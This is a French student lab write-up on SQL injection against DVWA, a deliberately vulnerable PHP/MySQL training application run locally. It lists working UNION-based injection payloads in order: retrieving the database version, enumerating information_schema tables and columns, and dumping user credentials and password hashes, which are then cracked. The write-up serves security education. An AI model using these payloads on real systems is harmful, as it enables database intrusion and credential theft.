Injections SQL
DVWA 1.0.8
23 novembre 2017
Quentin DUPONT
1
1.Objectifs :
L’objectif de cet exercice est d’étudier et tester différentes vulnérabilités d’une
application Web vulnérable (DWVA) locale.
2.Présentation de la plateforme :
a) XAMPP :
XAMPP est une plate-forme de développement Web non payante sous Mac OS pour
des applications Web dynamiques à l’aide du serveur Apache2, du langage de scripts
PHP et d’une base de données MySQL.
XAMPP nous permet d’installer et tester facilement l’application DVWA et de la tester
en local.
b) DVWA :
DVWA est conçu pour les développeurs qui souhaitent apprendre à protéger leurs
applications web. Damn Vulnerable Web App (DVWA) est une application Web
PHP/MySQL, qui est sacrément vulnérable. Son but est d'aider les professionnels de
la sécurité à tester leurs outils dans un environnement légal, d'aider les développeurs
à une meilleure compréhension du processus de sécurisation des applications web.
2
3.Pratique – SQL injection :
Une injection SQL est un type d'exploitation d'une faille de sécurité d'une application
interagissant avec une base de données, en injectant une requête SQL non prévue
par le système et pouvant compromettre sa sécurité.
Dans le cas de notre application on a 3 niveaux de sécurité : LOW LEVEL, MEDIUM
LEVEL et HIGH LEVEL. On se concentrera sur LOW (voir medium).
a) Etude du code source :
3
b) Test de vulnérabilité :
Nous testons si notre application est vulnérable ou non :
En tapant simplement 1 dans le champ libre.
4
c) Pour afficher tous les utilisateurs :
%' or '0'='0'
Il s’agit d’une requête toujours vraie.
5
d) Afficher la version de la base de données :
%' or 0=0 union select null, version() #
Dans la dernière ligne affichée, 10.1.28-MariaDB est affichée dans SURNAME c'est la
version de MYSQL database.
6
e) Afficher toutes les tables INFORMATION_SCHEMA :
%' and 1=0 union select null, table_name from information_schema.tables #
Maintenant, nous affichons toutes les tables de la base de données
INFORMATION_SCHEMA.
L’INFORMATION_SCHEMA est la base de données, l'endroit qui stocke des
informations sur toutes les autres bases de données que le serveur MySQL entretient.
Quentin Dupont 7
f) Afficher toutes les tables utilisateur d’INFORMATION_SCHEMA :
%' and 1=0 union select null, table_name from information_schema.tables where
table_name like 'user%'#
Maintenant, nous affichons toutes les tables qui commencent par le préfixe « user »
dans la base de données INFORMATION_SCHEMA.
Quentin Dupont 8
g) Afficher tous les champs de colonnes dans la table user
d’INFORMATION_SCHEMA :
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from
information_schema.columns where table_name = 'users' #
Maintenant, nous affichons toutes les colonnes dans la table users. Il y a les colonnes
user_id, first_name, last_name, user et Password.
Quentin Dupont 9
h) Afficher tous les contenus de champs de colonnes dans la table user
d’INFORMATION_SCHEMA :
%'and 1=0 union select
null,concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
Maintenant, nous avons réussi à montrer toutes les informations d'authentification
nécessaires dans cette base de données.
Il suffit de les décoder avec Hashkiller par exemple.
Ici le mot de passe admin est : password
Quentin Dupont 1
0